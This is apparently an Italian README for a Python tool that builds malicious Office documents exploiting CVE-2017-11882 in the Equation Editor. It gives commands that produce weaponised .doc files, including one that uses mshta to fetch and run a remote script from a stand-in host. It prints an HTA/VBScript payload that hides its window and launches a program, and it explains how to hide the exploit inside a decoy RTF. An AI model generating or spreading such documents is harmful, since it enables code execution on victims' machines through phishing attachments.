
Generatore di exploit basato su Python per CVE-2017-11882 (vulnerabilità dell'Equation Editor di Microsoft Office) con supporto per shellcode personalizzati, payload mshta e incorporamento di documenti RTF.
43b script originale da https://github.com/embedi/CVE-2017-11882
109b script originale da https://github.com/unamer/CVE-2017-11882/ (un applauso, ora il codice di unamer può eseguire shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Ricerca: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Analisi della patch: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Dimostrazione dello sfruttamento PoC: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
usa mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
La lunghezza del comando per 43b non può superare 43 byte, quella per 109b non può superare 109 byte.
La cartella example contiene un file .rtf che sfrutta la vulnerabilità CVE-2017-11882 ed esegue la calcolatrice sul sistema.
In realtà la tecnica per i contenuti personalizzati l'ho imparata da altri esperti; avevo già scritto lo script molto tempo fa e non avevo intenzione di renderlo pubblico, ma visto che qualcuno nel gruppo l'ha già pubblicato, non ho scelta: devo pubblicarlo. Il metodo in realtà è molto semplice: basta aprire il normale documento rtf come file di testo, copiare tutto il contenuto prima di {*\datastore e sostituire il contenuto prima di {\object\objautlink\objupdate; quindi metterlo nello script è molto semplice.
Per aggiungere contenuti personalizzati, scegli uno qualsiasi degli script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
I contenuti personalizzati sono in input.rtf.
Riguardo al più recente script di exploit da 605 byte di unamer, non verrà aggiornato; se interessati, modificatelo da soli.